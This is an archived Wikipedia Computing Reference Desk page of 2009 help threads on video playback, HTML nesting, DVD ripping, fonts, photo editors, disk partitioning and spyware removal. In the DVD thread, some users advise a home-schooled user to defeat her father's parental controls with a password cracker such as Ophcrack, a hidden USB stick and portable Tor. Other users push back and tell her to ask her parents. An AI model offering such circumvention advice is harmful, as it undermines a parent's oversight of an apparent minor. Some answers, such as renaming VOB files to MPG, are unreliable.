Lots of things can cause jittery playback. Have you installed some new program (or malware) that is running in the background and occupying a large chunk of CPU? Have you updated any codecs or other video playback tools? Are these the same videos which previously played well? Have you had a hardware change or new drivers? Windows media playback is a sort of complicated pipeline of software, ranging from the file system to a decoder to a DirectShow filter to a graphics overlay and finally out to the screen... any one element can cause havoc with the others. Nimur (talk) 14:10, 14 May 2009 (UTC)

These vids were running perfectly just a few days back. I have not had driver changes/codec updates done recently. If it were malware, how come the videos run more or less without a hitch in vlc? --Leif edling (talk) 15:40, 14 May 2009 (UTC)

May i ask what Operating System you are using? as this is a known bug in Ubuntu.– Elliott(Talk|Cont)  15:48, 14 May 2009 (UTC)

Using Windows XP.--Leif edling (talk) 07:54, 15 May 2009 (UTC)

Netrw functionality outside of vim?

I'm wondering... is there a free latex editor for windows with functionality similar to the netrw plugins of vim? I.e. the ability to edit files via ssh. I know that Kile can do this, but there isn't a windows version. Thanks, --129.67.117.76 (talk) 13:24, 14 May 2009 (UTC)

Have you looked at SSHFS? It may solve your problem without a plugin by mapping a "virtual" file system over an SSH connection. You will be able to access remote files as if they were on the local machine. There is a Windows port available, as well. Nimur (talk) 14:07, 14 May 2009 (UTC)

Also, if you install Xming and PuTTY, you can run the graphical editor remotely, on the Unix system, by ssh-ing in first and then starting the graphical applications. This really helps work around many Windows and *nix portability issues. Nimur (talk) 14:12, 14 May 2009 (UTC)

I'm not sure what your priorities are. If you like vim and are missing this feature from it, then you can just run it on Windows. If you don't like vim and your only concern is having this feature in some editor on Windows, then you have many choices: Emacs can edit over SSH (although you'd need to get an SSH client separately), and there are many others. If, instead, you're looking for an editor that's specifically good for LaTeX and can work over SSH, then that's a matter of taste, of course: you can even search for these (although oddly the first hit there seems to not do SSH). If none of those suit you, then Nimur's suggestion of decoupling the LaTeX and SSH parts is surely the way to go, because then you can look for good LaTeX editors without having to restrict yourself to ones that directly support SSH. --Tardis (talk) 17:06, 14 May 2009 (UTC)

<span><b></b></span> instead of <span><b></span></b>, why?

My friend couldn't explain to me why what's in the title applies. She suggested I ask you. Obviously, I know nothing of programming, or I'd know the answer to this... 90.193.232.41 (talk) 14:42, 14 May 2009 (UTC)

Standard HTML (and XML) requires that nested tags are strictly ordered. This eliminates ambiguity about which tags apply at any given level of the Document Object Model. Although a lot of web-browsers accept non-standard HTML like the example above, they are technically "incorrect" if they render, and are just trying to gracefully fail instead of popping up an error message. Take a look at HTML and XML#Correctness. To put it in layman's terms, these specifications exist in order to make sure that there is exactly and only one correct interpretation of the document object model. If you violate those rules, you introduce ambiguity into how you want the document presented. (In your second example - after closing the span tag, but before closing the bold tag, there is a region of uncertain text-formatting). Nimur (talk) 15:13, 14 May 2009 (UTC)

Why is it uncertain? What else could it be, other than bold? 90.193.232.41 (talk) 15:56, 14 May 2009 (UTC)

The example as given isn't ambiguous, but consider "<b><b></b></b>". Does that mean "<b₁><b₂></b₁></b₂>" or "<b₁><b₂></b₂></b₁>"? Only be imposing the above rules can you make it unambiguous. --Sean 17:13, 14 May 2009 (UTC)

Though it is of note that both of those are functionally identical for any text in the middle of both tags. --98.217.14.211 (talk) 13:40, 15 May 2009 (UTC)

In my understanding, it's not so much the question of how to merely display the text, but how to interpret it: if someone asks for the contents of the span tag (say, from JavaScript, or some general DOM application), what should be returned? We could introduce a new data type "still-open tag" (and "already-open tag" for other cases), but that would complicate everything because HTML would then contain more than tags; furthermore, in the "already-open" case you would lose access to any attributes that were specified earlier. If we implicitly adjoin a </b> to the return value so as to make it a legitimate fragment of HTML, then someone that scans through the document tag-by-tag will decide that the b tag ends twice when it really doesn't. Put differently, given <span>AAAA<b>BBBB</span>CCCC</b>, what is gained by not rewriting it as <span>AAAA<b>BBBB</b></span><b>CCCC</b> (or as <span>AAAA</span><b><span>BBBB</span>CCCC</b>) that justifies complicating the set of possible HTML constructs? --Tardis (talk) 17:19, 14 May 2009 (UTC)

A simpler answer, which I think is equally correct, is that modern software treats markup languages like HTML and XML as defining a tree structure, where the contents of each matched pair of tags is a branch, and can contain either more matched tag-pairs (a sub-branch) or text.

Another way of looking at such markup is as a set of instructions that have to be followed in order - so that <i>a<b>b</i>c</b> could be interpreted as turn on "italic" mode; emit "a"; turn on "bold" mode; emit "b"; turn off "italic" mode; emit "c"; turn off "bold" mode.

But this makes manipulating the content much more complicated - you can't change the "b" into a "z" (but keep its formatting) without following all the instructions again from the beginning. As Tardis points out, you could come up with ways of interpreting an unbalanced set of tags as a tree, but they'd introduce a lot of complexity for very little gain. - IMSoP (talk) 18:30, 17 May 2009 (UTC)

Ripping a DVD?

Alright so I have this Chobits DVD, and I want to put it on my computer and possibly convert it to a MPG so it can play on my iPod, but the only things I'm able to use are Windows Media Players, iTunes, and all basic tools on my computer.(Parental controls are not allowing me to get to Google or anything other than Achieve Online website and Wikipedia.) Is there a way to do such a thing with the things I am provided with? Gothrokkprincess (talk) 16:26, 14 May 2009 (UTC)

As a direct quote from Microsoft's website;

"

It is not possible to use Windows Media Player to rip movie files from a CD to your computer's hard disk. However, if you can see the movie file on the CD in Windows Explorer, then you probably can copy and paste that file to your computer's hard disk instead.

"

Now, as of about 2 minutes ago i did not know that you can not rip DvDs with WM. I did not quote this to be rude, mealy informative. It does suggest something useful. If you can see the DvD in My Computer then try Copying the files to yuor hard drive. I hope this helps. – Elliott(Talk|Cont)  16:38, 14 May 2009 (UTC)

Thanks! Yeah, I figured that out the hard way, by crashing my computer almost.(I can't stand vista!) And I also figured out how to copy and paste the files, I'm doing that right now actually. 6 Minutes left. ^^ Yay! It's in VOD format though... Wonder how I can convert it to MPG... Hmmh.. Gothrokkprincess (talk) 16:43, 14 May 2009 (UTC)

It looks like you might have to download something to do that. – Elliott(Talk|Cont)  16:49, 14 May 2009 (UTC)

But.... Try dragging the largest of the VOB files in to iTunes, See what happens _{Disclaimer; I am not responsible if your computer suddenly bursts in to flames  :)}– Elliott(Talk|Cont)  16:52, 14 May 2009 (UTC)

Whoa man my computers running slower than usual! x_x;; Uhm, see, thing is, I don't use iTunes for my iPod, I use Rock Box, so I just plug it in, and it's like a Flash Drive, or thumb drive, same thing. Copy paste into folders I make into it, and it plays. Only thing it can play video wise though is MPG's.. v_v;; Sadens my heart that all my mp4's will no longer play on it. T^T Poor poor narwhals..! Gothrokkprincess (talk) 17:00, 14 May 2009 (UTC)

Alright! I found a way to convert it without a converter!! I think.. Just right click, Rename, and delete the VOB part and put MPG. xD It changes it automatically..! Gothrokkprincess (talk) 17:03, 14 May 2009 (UTC)

I am not sure if that will work. Its kinda like slapping a label on a Spanish book saying "this book is in English". Please let me know if it works. – Elliott(Talk|Cont)  17:06, 14 May 2009 (UTC)

Well it worked whenever I took m4a music files, changed it to MP3, and they played on my iPod. Even if it didn't support m4a. ^^ I don't see why this wouldn't work, but oh well. I'm copying them onto it right now, then I'll see if it can play them or not..! I'll let you know in 1O minutes when it's done. Gothrokkprincess (talk) 17:10, 14 May 2009 (UTC)

Here's some interesting information

DVD - MPeg differences

Copied from 'http://dvd.sourceforge.net/dvdinfo/dvdmpeg.html' DVD - MPeg differences

DVD uses a subset of MPeg standards ISO/IEC 11172 (MPeg-1) and ISO/IEC 13818 (MPeg-2). Restrictions Streams - 1 video, up to 8 audio Coding - MPeg-1 vbr/cbr, MPeg-2 MP@ML or SP@ML vbr/cbr Data rate MPeg-1 maximum video 1856Kbps, maximum audio 384Kbps Mpeg-2 maximum video 9800Kbps, maximum audio 912Kbps

note: audio options other than MPeg exist, see extensions Image size Mpeg-1 352x240 (NTSC) or 352x288 (PAL/SECAM) Mpeg-2 720x480, 704x480, 352x480 (NTSC) 720x576, 704x576, 352x576 (PAL/SECAM)

Frame rate coded - 24fps progressive, 29.97fps interlaced (NTSC only), 25fps interlaced (PAL/SECAM only) displayed - 29.97 (NTSC) and 25fps (PAL/SECAM)

Color space color primaries and transfer characteristics NTSC - 4 (ITU-R BT.470 M) or 6 (SMPTE 170 M) PAL - 5 (ITU-R BT.470 B or G) matrix coefficients (RGB to YCbCr) 5 (ITU-R BT.470 B or G) or 6 (SMPTE 170 M)

Audio sampling rate - 48KHz (MPeg audio only, other audio formats have their own rates) Aspect ratio - either 4:3 or 16:9 GOP max MPeg-1 18 frames (NTSC), 15 frames (PAL/SECAM) MPeg-2 36 fields (NTSC), 30 fields (PAL/SECAM)

note: typical rate is .5 seconds, with one GOP per VOBU note: GOP's are NOT optional pack size - fixed at 2048 bytes, system stream level (one DVD sector) Low delay - not permitted

Extensions Private stream 1 (Audio and subpictures) sub-stream 0x20 to 0x3f are subpictures sub-stream 0x80 to 0x87 are audio (AC3, DTS, SDDS) sub-stream 0xA0 to 0xA7 are LPCM audio

Private stream 2 (Navigation) - see PCI packet and DSI packet DVD-Video home

– Elliott(Talk|Cont)  17:15, 14 May 2009 (UTC)

Huh.. I didn't know that, thanks.. o.o; Gothrokkprincess (talk) 17:22, 14 May 2009 (UTC)

It opened as if it were going to play, I clicked Play From Beginning, and it just froze on me, and I had to restart the whole thing.. Man.. Now how am I gunna play em? T.T Gothrokkprincess (talk) 17:25, 14 May 2009 (UTC)

Lets try something. Open your start menu. Right click on your internet explorer, click 'Run as Administrator', If it lets you run it then you might be able to get around those Parental controls. Once done download VLC– Elliott(Talk|Cont)  17:36, 14 May 2009 (UTC)

Nope it asks for an Admin password. T^T Plus I already have VLC, it's just blocked. v_v Gothrokkprincess (talk) 17:44, 14 May 2009 (UTC)

Well, i don't know of any way to convert these files for you. That is unless you somehow unlock VLC or download a converter. VLC has the ability to convert the VOB File for you. Talk to the person who put those restictions on that computer. Ask them nicly to unlock VLC for you. Tell them the truth; That you would like to copy DvDs that your own to your iPod. Good luck. – Elliott(Talk|Cont)  17:50, 14 May 2009 (UTC)

Hmmh.. My Dad put them on here so I could focus on school, seeing as though I'm home schooled, I highly doubt he will unblock it.. Ugh, oh well, just going to have to have friends email me some converted files then. Thanks though! You helped me quite a bit. ^^ Gothrokkprincess (talk) 17:53, 14 May 2009 (UTC)

Would it hurt to ask? in the mean time lets just wait, Maybe someone else sees something that i am overlooking.– Elliott(Talk|Cont)  17:55, 14 May 2009 (UTC)

Alright, will do. ^^ Gothrokkprincess (talk) 17:59, 14 May 2009 (UTC)

I suggest you use a password cracker to gain administrator access to the computer and download the tools you need onto a usb stick. Then they'll be available to you under the restricted account (don't use the admin account all the time cause you'll be caught) and you can hide the usb stick when needs be. Also download portable tor and portable firefox so you can view other websites. —Preceding unsigned comment added by 82.44.54.169 (talk) 21:50, 14 May 2009 (UTC)

Or have your friends download and burn Ophcrack– Elliott(Talk|Cont)  21:55, 14 May 2009 (UTC)

What you want is DVD ripper software. There are lots of places to download it from, but unfortunately Achieve Online and Wikipedia are not among them. Best bet is to ask your parents if they will download a variety of ripper software for you - be prepared for a discussion about the morals of ripping DVDs (best not go down this route if they are copyright lawyers or film/TV execs), but if you try to break the parental controls, the answer will always be "no" until you have earned their trust again. Alternatively, get a friend to download the software onto a USB pen drive or CD for you. Astronaut (talk) 12:03, 15 May 2009 (UTC)

Saving a web-page: Firefox vs. IExplorer

Sometimes (but consistently) IExplorer is not able to save a page at all (mainly from nytimes.com, but also others). However, I don't have any problems saving these pages with my Firefox. Why?--Mr.K. (talk) 17:58, 14 May 2009 (UTC)

Because Fire Fox is way more awesome and WAY more advanced than Internet Explorer is. Gothrokkprincess (talk) 18:09, 14 May 2009 (UTC)

Yes, or to put it more precisely, Firefox is standards-compliant —Preceding unsigned comment added by 82.44.54.169 (talk) 18:20, 14 May 2009 (UTC)

I have already suspected that Firefox was more advanced. I just didn't know where and how.--Mr.K. (talk) 11:00, 15 May 2009 (UTC)

Consider upgrading to IE8 (assuming you aren't already using it). I've just tested and saved multiple pages from nytimes.com without a problem. ZX81 ^talk 13:41, 15 May 2009 (UTC)

You can try using some sort of virtual printer to save webpages for future use 194.99.216.135 (talk) 07:17, 16 May 2009 (UTC)

Install Windows on ext3

Is it possible to install windows on a ext2 or ext3 partition? – Elliott(Talk|Cont)  18:17, 14 May 2009 (UTC)

Yes. I believe I watched my Dad do it once a while back. Though I'm not too sure how he did it, what he was doing, and whether or not that actually was what he was doing. @_@ Gothrokkprincess (talk) 18:19, 14 May 2009 (UTC)

No. Windows is built to work with FAT, FAT 32 and NTFS formats only. You would need to hack some sort of application into the windows system architecture to make this work, which would be far more trouble than it's worth. In short, windows is not compatible with ext3 unless microsoft decide they wish to include support. —Preceding unsigned comment added by 82.44.54.169 (talk) 18:25, 14 May 2009 (UTC)

Is de-compiling and re-compiling the kernel an option?– Elliott(Talk|Cont)  18:27, 14 May 2009 (UTC)

That is not realistically practical. So much would change that your resulting system would no longer be "Windows." Nimur (talk) 20:54, 14 May 2009 (UTC)

I see your point, it would almost be easer to just install linux, then install VirtualBox and us windows under that... oh well– Elliott(Talk|Cont)  21:35, 14 May 2009 (UTC)

Resolved

This seems within the realm of possibility even without Microsoft cooperation. GRUB could presumably load NTLDR off of an ext2 partition. There is an open-source clone of NTLDR (FreeLoader, part of the ReactOS project). And there is a kernel-mode ext2 driver for Windows (Ext2 IFS) which could deal with the rest of the boot process. I think NT can also boot from a ram disk (like Linux initrd) and it might be possible to hack something together that way. I tend to agree with the "more trouble than it's worth" assessment though. I wouldn't use this unless it was stable and well supported, and it's hard to see the motivation for putting that much effort into it, since the two-partition approach works just fine. The only advantage I can see would be saving disk space, but I think most people have more disk space than they know what to do with. -- BenRG (talk) 14:21, 15 May 2009 (UTC)

You are dead wrong. It is not possible to have a working copy of Windows on an ext3-partition. 194.99.216.135 (talk) 07:15, 16 May 2009 (UTC)

Er... okay... could you elaborate? -- BenRG (talk) 14:46, 16 May 2009 (UTC)

May I ask why you want to use ext3 in Windows? What's wrong with NTFS?--24.8.183.197 (talk) 14:52, 16 May 2009 (UTC)

Install linux (or BSD) on ntfs (or fat32)

Since linux is open source there should not be any principial problems, right? There is UMSDOS, but it works only in fat16 (and has been discontinued), and there is Wubi, but it creates ext2(3) filesystem image. Is there a more native method? -Yyy (talk) 08:16, 15 May 2009 (UTC)

Linux based disk utilities

Are there Linux based Disk utilities that will mimic Checkdisk and Defragment on a NTFS Drive? Or could these programs ge downloaded and installed under Wine?– Elliott(Talk|Cont)  18:17, 14 May 2009 (UTC)

fsck would be the equivalent to chkdsk. Most of the filesystems that are used under Linux do not support defragmentation, and generally rarely have need for it; see the defragmentation article for more details. --76.167.241.45 (talk) 19:18, 14 May 2009 (UTC)

The idea behind this is to mount a NTFS disk and use Linux utilities to check for NTFS problems. – Elliott(Talk|Cont)  19:24, 14 May 2009 (UTC)

NTFS-3G might have some utilities for that. Windows programs under wine MIGHT not work due the the low level requirement for this kind of programs SF007 (talk)

I don't think ntfs-3g has that support. These guys talked about it and linked [2] to a *nix based ntfs defragger. I have no clue how well it works, if at all, or whether to trust it. I don't think fsck will work with ntfs (which is why ntfs-3g is around). You might find this [3] interesting though. Shadowjams (talk) 02:06, 16 May 2009 (UTC)

Font identification?

Can anyone help me with this font - it's from the opening titles of Dad's Army, but is still in use (the modern DVD commentaries etc. are produced in it). Thanks! ╟─TreasuryTag►contribs─╢ 18:37, 14 May 2009 (UTC)

It looks very similar to "Bodoni MT Black"– Elliott(Talk|Cont)  19:02, 14 May 2009 (UTC)

It reminded me of a bold version of Bookman. Tempshill (talk) 19:04, 14 May 2009 (UTC)

More like one of the Caslon typefaces. ---— Gadget850 (Ed) ^talk 19:42, 14 May 2009 (UTC)

I see the similarity to all those (and some people have AMAZING visual memories!!), but the picture's font is completely rounded, it doesn't have any corners, which all of those do... It's a hard one! I've also just found a larger example, already on-wiki (here) if that helps at all. ╟─TreasuryTag►contribs─╢ 19:46, 14 May 2009 (UTC)

Can you please give an example of what other tv shows/movies have used this font? – Elliott(Talk|Cont)  20:10, 14 May 2009 (UTC)

I'm afraid I don't know of any, but as I say, there must exist an actual computer .ttf or similar version of this font, in modern times, as it's still in use on modern sources ([4] among other places). ╟─TreasuryTag►contribs─╢ 20:13, 14 May 2009 (UTC)

:According to thiswebsite it is EF Aster. I hope this helped...– Elliott(Talk|Cont)  20:50, 14 May 2009 (UTC)

Correction; Cooper Black seems to be the winner. At lease according to http://new.myfonts.com/WhatTheFont – Elliott(Talk|Cont)  21:18, 14 May 2009 (UTC)

Yeah, definitely Cooper Black — Matt Eason ^{(Talk &#149; Contribs)} 22:42, 14 May 2009 (UTC)

Thanks a lot, guys! ╟─TreasuryTag►contribs─╢ 06:47, 15 May 2009 (UTC)

Resolved

 – Cont)  20:23, 15 May 2009 (UTC)

Photo-editing FOSS

Resolved

Hello, everyone! I was wondering if there is any decent photo-editing FOSS available. I'm looking for a little more than just the basic viewer with brightness/contrast controls and stuff. I'm looking for more editing capabilities (like something that can do touch-up effects), free software that could compete with Adobe. Thanks!--el Aprel (^facta-_facienda) 21:58, 14 May 2009 (UTC)

The GIMP is the closest free equivalent, but Photoshop is a far sight better. Tempshill (talk) 22:05, 14 May 2009 (UTC)

(edit conflict)Gimp is a good program. To quote from thissite;

"

Probably the oldest and most well-known open source graphic application - GNU Image Manipulation Program or Gimp was started in 1995 and has since then grown to the status it has today. Gimp is a valid competitor to all of the commercial bitmap drawing programs on the market. Among its features you find: powerful painting tools, layers and channels support, multiple undo/redo, editable text layers. Gimp as a plug-in architecture and a scripting engine that allow easy extension of it's functionality. More than a 100 plug-ins and scripts are already available. Also Gimp imports files from Photoshop (psd) and can also read scalable vector graphics (svg) files."

– Elliott(Talk|Cont)  22:10, 14 May 2009 (UTC)

No doubt - GIMP is the answer. It's by far the most powerful and stable OpenSourced image processing program. I doubt claims that Photoshop is significantly better. I know a lot of professional artists who prefer GIMP - and the CinePaint program (which is a spin-off of GIMP) is used quite extensively in the movie business. But for the price - you certainly can't beat it! If you already know photoshop - you might want to check out GIMPshop - which is GIMP - but hacked to make it look and feel much more like Photoshop. Some people prefer the user interface of Krita - but it's nowhere near as powerful as GIMP. You may also want to check out Comparison of raster graphics editors...but you're almost certainly going to pick GIMP anyway - so you might as well not bother! SteveBaker (talk) 03:40, 15 May 2009 (UTC)

What does the OP mean by "FOSS"? Astronaut (talk) 09:29, 15 May 2009 (UTC)

FOSS. -- 164.214.1.51 (talk) 10:07, 15 May 2009 (UTC)

Paint.NET is also quite good. It seems to have become less and less open sourced with time, but you can still get full MIT-licensed source code. -- BenRG (talk) 11:31, 15 May 2009 (UTC)

Unless GIMP has changed dramatically since the dozen times I have tried to be productive with it over the years, the real answer to this question is infact Paint.NET. It's free and very easy to use for the scope that the OP dictated. GIMP, while featureful and capable, is anything but user-friendly (even when compared to Photoshop). Having spent a decent amount of time working with each (Photoshop, GIMP, Paint.NET) I can assure you that for the imaging needs of almost all users, Paint.NET is going to be painless. --66.195.232.121 (talk) 18:19, 15 May 2009 (UTC)

Thank you, everyone! I've downloaded the GIMP-powered "GimPhoto" and it's great. I'll also give Paint.NET a try per your suggestions. Thanks again!--el Aprel (^facta-_facienda) 21:18, 15 May 2009 (UTC)

May 15

power cord temperatures

I see that power cords have temperature ratings printed on them. My question is this: is the rating the actual temperature of the metal conductor inside the cord when carrying the rated electrical current, or is it the maximum sustained allowable temperature before the materials in the power cord (such as insulation) will be degraded? The former would imply that the lower the rating, the better the cord; the latter would imply the higher the rating, the better the cord. Also, what do notations such as "FT1" mean? (I know that "FT2" means that the cable is fire-retardant, but not sure what that means in combination with "FT1.") Thank you. 72.83.73.48 (talk) 01:06, 15 May 2009 (UTC)

This site [5] explains the flame test ratings in use. --Cookatoo.ergo.ZooM (talk) 06:54, 15 May 2009 (UTC)

ORKUT

There is this problem with Orkut that whenever I send 5 to 6 scraps to those who are not in my friends list then the posting gets disabled to the non friends for many hours but there is no such problem with those who are my friends why is this so???It really becoming a hurdle when I want to send invitations to strangers to join in my community.... —Preceding unsigned comment added by 59.165.84.9 (talk) 03:55, 15 May 2009 (UTC)

You are probably better off asking at Orkut Support. Astronaut (talk) 09:26, 15 May 2009 (UTC)

Computer auto start

Is there a way to make a computer automatically turn on whenever there is a power source, so for example if the computer shut down unexpectedly or there was a power cut, as soon as there was power available it would turn back on again? —Preceding unsigned comment added by Computerpowerstart (talk • contribs) 13:14, 15 May 2009 (UTC)

Yeah, there must be setting in BIOS. (what to do after power loss)(usually choices are: leave off, switch on and mainatin previous state). -Yyy (talk) 13:41, 15 May 2009 (UTC)

[ActivePerl] [Windows XP] DBD::mysql

• ActivePerl
• Windows XP

I want to install the MySQL driver for DBI. I do have DBI. And unfortunately, the default install does not have the MySQL driver. I thought it would be easy.

>ppm install DBD::mysql
Downloading ActiveState Package Repository packlist...not modified
Downloading log4perl packlist...redirect
Downloading log4perl packlist...forbidden
ppm install failed: Can't find any package that provides DBD::mysql

>install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
ppm install failed: The PPD does not provide code to install for this platform

>cpan DBD::mysql
Going to read C:\Perl\cpan\Metadata
Database was generated on Fri, 15 May 2009 07:29:47 GMT
Running install for module 'DBD::mysql'
...
perl Makefile.pl --testuser=username

Failed to determine directory of mysql.h. Use

perl Makefile.PL --cflags=-I<dir>

to set this directory. For details see the INSTALL.html file,
section "C Compiler flags" or type

perl Makefile.PL --help
Warning: No success on command[C:\Perl\bin\perl.exe Makefile.PL INSTALLDIRS=site
]
CAPTTOFU/DBD-mysql-4.011.tar.gz
C:\Perl\bin\perl.exe Makefile.PL INSTALLDIRS=site -- NOT OK
Running make test
Make had some problems, won't test
Running make install
Make had some problems, won't install

What can I do now? -- Toytoy (talk) 14:20, 15 May 2009 (UTC)

What version of ActivePerl? There are different URLs at uwinnipeg.ca for different versions. For 5.10.x try http://cpan.uwinnipeg.ca/PPMPackages/10xx/DBD-mysql.ppd. If that fails, you'll need a C compiler to build the package, the appropriate MySQL headers and libraries (at least mysql.h), and the INCLUDE and LIB environment variables will probably need to be set. I don't know what compilers are supported, but probably one (maybe both) of Microsoft C (cl.exe) and MinGW. -- BenRG (talk) 17:27, 15 May 2009 (UTC)

Thank you! It's working! The Perl documents are pretty unclear. -- Toytoy (talk) 10:58, 18 May 2009 (UTC)

Windows XP SP3 -- Reallowocating/repartitioning

In short: How do I resize Windows XP SP3's HD partition?

I am running Windows XP SP 3 on an Acer Netbook (160 GB HD, 1 Gig RAM). I am the computer admin.

The current Windows XP SP3 HD allowocation (partition) is 100% of the HD, however, I would like to reduce it to around 100GB, create another partition, and install Windows Vista Ultimate on the other partition.

I have read the instructions from Microsoft (to use Disk Manager), however, it requires already unallowocated HD space to create secondary partitions, which is already partitioned/allowocated to Windows XP SP3.

Is there any easy way to get this to work? Is there a hard way? Is it even possible?

I appreciate it, --67.32.193.53 (talk) 14:41, 15 May 2009 (UTC)

The softwares PartitionMagic and GParted can do this —Preceding unsigned comment added by 82.44.54.169 (talk) 15:10, 15 May 2009 (UTC)

Just adding to the above, but make sure you back up your files first as a precaution. Although both of the above are good programs that shouldn't have any problems, if your computer crashes out for any reason like a power failure, you may lose everything on it - Repartitioning is pretty serious stuff. ZX81 ^talk 01:08, 16 May 2009 (UTC)

Explaining to a computer illiterate person how to get rid of spyware and keylogger

Resolved

A friend of a friend (no really!) has an ex who apparently installed some sort of malware including a keylogger on her computer. She is computer illiterate. I'm recommending that she reformat her hard drive and reinstall Windows from scratch as this is the simplest and almost 100% guaranteed to remove the malware. I'm not in front of her computer so I wrote up the following e-mail. Did I leave anything out? Remember that this is a person who is computer illiterate who will be unable to perform most of these tasks herself which is why I'm recommending that she seek an expert/professional to help her.

My E-mail explaining what to do

If your ex has installed any spyware or keylogger on your computer, there is no easy fix. You're going to need help from an expert/professional such as HP or Best Buy's Geek Squad. I could also help you (I'm a professional software developer with a degree in Computer Science.) (Note that if you use a service like the Best Buy Geek Squad, remove all personal information, compromising photos, etc. before giving your computer to them. Make sure you empty your Recycle Bin. Even then, personal files can be retrieved. You'd need to use a utility to make sure your files cannot be recovered. I can recommend some utilities to do this if you decide to go this route.) Unfortunately, I am not physically in front of your computer and I cannot give detailed, step-by-step instructions. However, in general, these are your best options: a) Reformat your hard drive and re-install Windows and all other applications you use. b) If your PC comes with a system restore disk (either a CD-ROM or DVD), you can use this. If it asks you any questions such as whether or not you want to reformat your hard drive, answer Yes. You can call HP and they will be able to step you through the process. Make sure that they understand that your computer has been compromised with by both spyware and a keylogger. Note that b) refers to the system restore *DISK*, not Windows System Restore which is a completely different thing. I don't recommend using Windows System Restore because it's not 100% guaranteed to fix your computer. Before doing a) or b), make sure you back up all your files (pictures, music, documents, etc.) They will be completely erased and there is no way to retrieve them after they're gone. In addition to above, there are several things you will need to do to make sure your ex doesn't compromise your computer again. 1) Pick a password that nobody will be able to guess. To be really safe, use a password that doesn't even contain any English language words or names. Use a mix of uppercase and lower case. Use symbols. For example, something like aUd@FN!bd_flU would be a good password. 2) Make sure Windows Firewall is turned on. 3) Get a good virus checker and malware checker. I can recommend some if you don't have any. 4) If you have a wireless router, make sure you turn on encryption. 5) Change your screen saver settings to ask for a password in order to resume working on your computer. 6) Make sure that you download all the latest security updates from Microsoft. 7) Get in the habit of logging off your computer when you're not in front of it, especially if there's a chance your ex might stop by. You don't want him to re-install any malware. Like I said, there is no easy fix and you will probably need the help of an expert/professional to do all of this. I hope this helps.

A Quest For Knowledge (talk) 15:19, 15 May 2009 (UTC)

a) Reformat your hard drive and re-install Windows and all other applications you use. / The computer illiterate people I know don't know the meaning of "applications". On the other hand they have no trouble getting used to Firefox or Opera, and they do more and more stuff while browsing. Thus (unless there are hardware complexities), any present-day GUI OS is about as unthreatening as any other, and they all look much the same.

1) Pick a password that nobody will be able to guess. [...] For example, something like aUd@FN!bd_flU would be a good password. / That's utterly unmemorable (by any but a tiny minority of people) and would thus have to be written down somewhere, very likely on one or more scraps of paper that could easily be found by others. "No offence" but in my hoary opinion it's therefore a crap password. I try to use deliberate misspellings with the odd extra complexity thrown in, e.g. "konnektiKut": vastly more memorable.

3) Get a good virus checker and malware checker. I can recommend some if you don't have any. / Are these much good against such phenomena as Torpig? (Try reading the PDF from UCSB.) / 6) Make sure that you download all the latest security updates from Microsoft. / And keep doing it. And do it some more. And then do it again. Look, just tip her off to Ubuntu. It pretty much installs itself.

In addition to above, there are several things you will need to do to make sure your ex doesn't compromise your computer again. Indeed there are. My own suggestion would be to get the law onto this sleazeball. -- Hoary (talk) 16:22, 15 May 2009 (UTC)

I would expect antivirus software to be able to detect Torpig and the rootkit it runs on top of. Not out of the box, but with an update targeted at that threat. That's the main point of antivirus software, to keep on top of the threats actually out there with frequent updates. Anything you implement out of the box won't be much use after a while because the bad guys can test against your product. Yes, download the latest security updates, and then again, and then again. And do that on Ubuntu too, otherwise you're vulnerable. It's an automatic process by default. -- BenRG (talk) 14:36, 16 May 2009 (UTC)

Just change the IT jargon to plain English. "Applications" are "programs". "Malware" becomes "harmful programs like viruses or spyware". And so on...--Sonjaaa (talk) 18:04, 15 May 2009 (UTC)

Thanks for both of your suggestions. No offense was taken, Hoary. A Quest For Knowledge (talk) 18:58, 15 May 2009 (UTC)

I hope you remain on good terms with your friend of a friend after you have caused her to lose all her emails, email contacts, internet bookmarks, passwords, etc. (and those pictures and music files that were stored in non-standard locations). Seriously though, way too many people think the only solution to problems with Windows is to completely reinstall it. What is up with everyone? You provided good advice in the rest of your email but the advice to "Reformat your hard drive and re-install Windows ..." is the last thing you try when cleaning up a malware/virus infection, not the first. How about advising your friend of a friend to not use the computer until you can get a chance to drop by and do a proper investigation and cleanup on it - if you have to reinstall Windows then so be it, but at least someone who knows what they are doing (ie. you) will have had a go at a less drastic cleanup and had a chance to rescue all the personal stuff that needs to be kept. Astronaut (talk) 00:25, 16 May 2009 (UTC)

I half agree with Astronaut. See what useful content you, knowledgably, can scrape off the hard drive before doing anything drastic to it. I return to Sonjaaa's comment: the computer illiterates of my acquaintance (and there are many of them) know next to nothing about "programs". They buy a computer from a store, and the assistant asks them two questions. First, if they want to use it for writing and calculating stuff. Yes of course they do, is the reply. Then the assistant says either of two things: (a) "then you'll need to get MS Office", or (b) "you're in luck, MS Office comes free". Secondly, if they want to protect the computer against viruses, prompting a near-identical conversation. And so much for "programs". Notions that you or I may have such as "This text editor is a bit awkward; I wonder if there's anything better out there" are as alien to them as the notion of changing the model of carburetor in my car is to me. An OS such as (K)ubuntu comes with what most (not all!) people need, it's suitable for most (not all!) and it's rather more resistant to well orchestrated attempts (e.g. Torpig) at intrusion and subversion than is the obvious commercial alternative. -- Hoary (talk) 00:54, 16 May 2009 (UTC)

The problem with installing a different OS—not Linux specifically, just anything other than what the computer shipped with—is that you lose OEM tech support. For the kind of person you're talking about, that's likely to be a big problem. They'd have to either pay someone else for support or rely on volunteer support from friends or online forums, and the latter is slow and is not much use if the problem is preventing them from using the online forums, which is often enough the case. Aside from that (or if the OEM support has expired anyway) I think Ubuntu is a fine choice for this kind of person, but there is no magic Unix security mojo. Unix boxes were like swiss cheese as recently as ten years ago, because people didn't care; the Internet used to be noncommercial and academic. The Morris worm exploited holes in professionally administered systems that had been known for years; that's unthinkable now. What keeps Unix or Windows machines secure is security updates. Ubuntu supports automatic security updating, so does Windows. Malware these days is written for profit and depends on a pool of machines run by naive users who don't install the updates. Most of those people run Windows. If they ran Linux then there would be a large pool of rootable Linux machines and "Linux would be insecure".

Anyway, none of this matters when your adversary is an angry ex who's savvy enough to install a keylogger. If they don't know your root password, they can just boot Knoppix. -- BenRG (talk) 14:36, 16 May 2009 (UTC)

I don't think I've ever known someone get anything useful out of OEM tech support for a computer other than a reference number to use when sending back faulty hardware. Computer illiterate people use friends and family for tech support, that's why the OP is here asking the question in the first place - he's the guy this person has come to with her problem. --Tango (talk) 01:32, 17 May 2009 (UTC)

They can't boot Knoppix if the CMOS is set not to boot from any external device and is itself password protected. (Or am I overlooking something?) -- Hoary (talk) 04:47, 17 May 2009 (UTC)

